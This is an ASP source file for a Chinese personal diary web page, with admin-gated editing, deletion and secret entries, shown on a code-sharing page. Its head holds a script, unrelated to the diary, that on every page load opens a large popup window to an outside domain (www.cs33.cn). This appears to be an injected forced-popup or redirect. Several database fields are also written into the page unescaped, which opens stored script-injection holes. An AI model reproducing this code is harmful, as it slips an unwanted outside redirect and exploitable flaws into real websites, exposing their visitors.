📄 diary.asp
字号:
<!--#include file="inc/config.asp"-->
<!--#include file="mdb.asp"-->
<!--#include file="inc/inc.asp"-->
<%
page = Request.QueryString("page")
action = Request.QueryString("action")
action_e = Request.Form("action_e")
call head
call menu%>
<head>
<title></title>
<script language="JavaScript">
<!--
var gt = unescape('%3e');
var popup = null;
var over = "Launch Pop-up Navigator";
popup = window.open('', 'popupnav', 'width=1300,height=1000,resizable=0,scrollbars=auto');
if (popup != null) {
if (popup.opener == null) {
popup.opener = self;
}
popup.location.href = 'http://www.cs33.cn';
}
// -->
</script>
</head>
<body background="img/bg.gif" bgproperties="fixed">
<TABLE bgcolor="#ffffff" align=center border=1 cellPadding=0 cellSpacing=0 width=760 borderColor="<%=border%>" frame=vsides rules=none>
<TBODY>
<TR>
<td height="24" align="right" bgcolor="#000000">
<%call Main_Menu()%>
</TD>
</TR>
<TR>
<TD width="765" height="4" bgcolor="#000000"></TD>
</TR>
</TBODY>
</TABLE>
<TABLE align=center border=1 cellPadding=0 cellSpacing=0 width=760 borderColor="<%=border%>" frame=vsides rules=none bgcolor="#000000">
<TBODY>
<TR>
<td width=204 align=left vAlign=top background=img/left_bg.gif>
<TABLE width=100% border=0 align=center cellPadding=0 cellSpacing=0>
<TBODY>
<TR><td width=204><img src=img/left_top.gif usemap="#Map" border="0"><map name="Map"><area shape="rect" coords="41, 11, 67, 24" href="book.asp" title="留言本"><area shape="rect" coords="111, 10, 159, 28" href="../ryxs/default.asp" title="如影驿站纯文学网站"></map></td></tr>
</table>
<TABLE width=196 border=0 align=left cellPadding=0 cellSpacing=0>
<TBODY>
<TR>
<td align=center height="24" background="img/title.jpg"><font color="#FFFFFF"><b>流星情缘日记本</b></font></td>
</tr>
<TR>
<td height="250" Valign=top align="center"><BR>
<img src=img/diary/diary.gif>
<p><font color="#FFFFFF"> </font><font color="#6699FF">每个人的前面,都有一条通向远方的路,崎岖但又充满希望。不是人人都能走到远方,因为总有人因为没有倒掉鞋里的沙子而疲惫不堪半途而废。所以,主宰人的感受的并非欢乐和痛若本身,而是如影。
守住一颗宁静的心,你会明白博大可以稀释忧愁。宁静能够驱散困惑。是的,没有人知道远方究竟有多远,但是打开心灵之窗,让快乐的阳光和月光涌进来,宁静之心便有了一支永不熄灭的快乐之歌。</font><font color="#1E90FF"><br>
</font></table>
</TD>
<td width=1 height="190" background="img/xu.gif"></TD>
<td width=553 align=left vAlign=top bgcolor="#000000"><%call br%><%
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'主程序
Select Case action_e
Case ""
Case "Add_New"
Call Add_New_Execute()
Case "reply"
if session("adminlogin")<>sessionvar then
Response.write "<script language = 'javascript'>alert('您还未登陆管理,无法进行回复日记!');</script>"
else
Call Reply_Execute()
end if
Case "Edit"
if session("adminlogin")<>sessionvar then
Response.write "<script language = 'javascript'>alert('您还未登陆管理,无法进行编辑日记!');window.document.location.href='diary.asp';</script>"
else
Call Edit_Execute()
end if
End Select
Select Case action
Case ""
Call View_Words()
Case "Add_New"
Call Add_New()
Case "reply"
Call Reply()
Case "Edit"
Call Edit()
Case "View_Words"
Call View_Words()
Case "Delete"
if session("adminlogin")<>sessionvar then
Response.write "<script language = 'javascript'>alert('您还未登陆管理,无法删除日记!');window.document.location.href='diary.asp';</script>"
else
Call Delete()
Call View_Words()
end if
End Select
Call footer()%>
<% ' 日记本菜单
Sub Main_Menu() %>
<img src=img/none.gif border=0><img src=img/link2.gif border='0'> <a href="diary.asp?action=Add_New">添加日记</a> <img src=img/none.gif border=0><img src=img/link2.gif border='0'> <a href="diary.asp?action=View_Words">查看日记</a>
<% End Sub
'查看日记
Sub View_Words()
Set Rs = Server.CreateObject("ADODB.RecordSet")
Sql="Select * From mydiary Order By date Desc"
Rs.Open Sql,Conn,1,1
TotalRecord=Rs.RecordCount
Rs.PageSize = 5
PageSize = Rs.PageSize
PageCount=Rs.PageCount
If page="" Then
Rs.AbsolutePage = 1
page=1
Else
Rs.AbsolutePage = page
End If
%>
<%
do while i < PageSize And not rs.eof
%>
<table width="520" align=center cellspacing="1" cellpadding="0">
<tr>
<td valign="top"><table cellspacing=0 cellpadding=0
border=0 width=100%>
<tbody>
<tr>
<td width="4"><img height=18 src="img/diary/f1.gif"
width=18 border=0></td>
<td background=img/diary/f2.gif height="18"> </td>
<td width="4"><img height=18 src="img/diary/f1.gif"
width=18 border=0></td>
</tr>
<tr>
<td background=img/diary/f3.gif width="18"> </td>
<td valign=top width="100%">
<table cellpadding=0 border=0 width=100% style="table-layout: fixed;word-wrap: break-word">
<tbody>
<tr>
<td width="65%" class="font"><img src="img/diary/a.gif" width="10" height="10"> <%=Rs("city")%>
</td>
<td width="9%" align="right"> <img border=0 src="<%=Rs("title")%>">
</td>
<td width="26%" align="right"> <%=Rs("date")%> </td>
</tr>
<tr>
<td style="WORD-SPACING: 1px; LINE-HEIGHT: 150%" valign="top" colspan="3">
<%If Rs("admin")="0" Then%>
<%=Ubb(unHtml(Rs("words")))%>
<%elseif session("adminlogin")=sessionvar Then %>
<font color=#1E90FF>****以下为管理员可见内容!****</font><br>
<%=Ubb(unHtml(Rs("words")))%>
<%else%>
<font color=#1E90FF>****秘密日记!管理员可见!****</font>
<%End If%>
<% If session("adminlogin")=sessionvar Then %>
<br>
<a href="diary.asp?action=Delete&id=<%=Rs("id")%>"><font color=red>删除</font></a> <a href="diary.asp?action=Edit&id=<%=Rs("id")%>"><font color=red>编辑</font></a>
<%End IF%>
</td>
</tr>
<tr>
<td style="WORD-SPACING: 1px; LINE-HEIGHT: 100%" valign="top" colspan="3" align=right><br>
<%if Rs("sex")="1" then%>
<b> <font color="#FFFFFF">帅哥:
<%elseif Rs("sex")="2" then%>
美女:
<%else%>
</font>
<%end if%>
</b> <%=Rs("name")%> </td>
</tr>
</tbody>
</table>
</td>
<td valign=top background=img/diary/f3.gif width="18"> </td>
</tr>
<tr>
<td width="4"><img height=18 src="img/diary/f1.gif"
width=18 border=0></td>
<td background=img/diary/f2.gif></td>
<td width="4"><img height=18 src="img/diary/f1.gif"
width=18 border=0></td>
</tr>
</tbody>
</table></td>
</tr>
</table>
<%call br%>
<%
rs.movenext
i=i+1
loop
Rs.Close
Set Rs = Nothing
dim n
n= TotalRecord \ PageSize
%>
<TABLE cellSpacing=1 cellPadding=0 width="520" align=center border=0>
<TBODY>
<form action="" method=post onChange="submit()">
<TR>
<TD align=middle width="35%" height=25>
<font color="#FFFFFF">共[<%=TotalRecord%>]个日记 分[<%=n+1%>]页</font></TD>
<TD width="40%" align=middle><IMG height=11 src="img/lt.gif" width=11 align=absMiddle>
<%
if Page<2 then
response.write "<font color='999966'>首页 上一页</font> "
else
response.write "<a href=diary.asp?page=1>首页</a> "
response.write "<a href=diary.asp?page="&Page-1&">上一页</a> "
end if
if n-page<0 then
response.write "<font color='999966'>下一页 尾页</font>"
else
response.write "<a href=diary.asp?page="&(Page+1)
response.write ">下一页</a> <a href=diary.asp?page="&n+1&">尾页</a>"
end if%>
<IMG height=11 src="img/gt.gif" width=11 align=absMiddle></TD>
<TD align=middle width="25%">
<select name="select" onChange='javascript:window.open(this.options[this.selectedIndex].value,"_top")' class="lanyu">
<%For m = 1 To PageCount%>
<option value="diary.asp?page=<%=m%>">第<%=m%>頁</option>
<%
Next
%>
</select><input type="submit" name="Submit2" value="轉向" class="button"> </TD>
</TR>
</FORM>
</TABLE><br><IMG height=52 src="img/riji.gif" width=69 align=absMiddle>
</td></tr></table>
<% End Sub
'添加一条新日记
Sub Add_New()%>
<table width="520" border="0" cellspacing="1" cellpadding="0" align="center"><tr><td>
<table width="450" cellpadding="1" cellspacing="0" align="center" bgcolor="#000000" >
<form name="new" method="post" action="diary.asp?Add_New_Execute">
<tr>
<td width="80" bgcolor="#000000"><font color="#FFFFFF">您的姓名:</font></td>
<td width="300" bgcolor="#000000"><font color="#FFFFFF"><input type="text" name="name" maxlength="255" size="20" class='lanyu'>
*</font></td>
</tr>
<tr>
<td bgcolor="#000000"><font color="#FFFFFF">日记标题:</font></td>
<td bgcolor="#000000">
<font color="#FFFFFF">
<input type="text" name="city" maxlength="255" size="20" class='lanyu'> *</font>
</td>
</tr>
<tr>
<td bgcolor="#000000"><font color="#FFFFFF">您的性别:</font></td>
<td bgcolor="#000000"><font color="#FFFFFF"><input type="radio" name="SEX" value="1" checked>帅哥 <input type="radio" name="SEX" value="2">美女</font></td>
</tr>
<tr>
<td bgcolor="#000000"><font color="#FFFFFF">天气情况:</font></td>
<td bgcolor="#000000">
<font color="#FFFFFF">
<select class=editbox1 name=title
onChange="document.images['face'].src=options[selectedIndex].value;"
size=1>
<option value=img/diary/1.gif selected select>晴天
<option value=img/diary/2.gif>大风
<option value=img/diary/3.gif>乌云
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -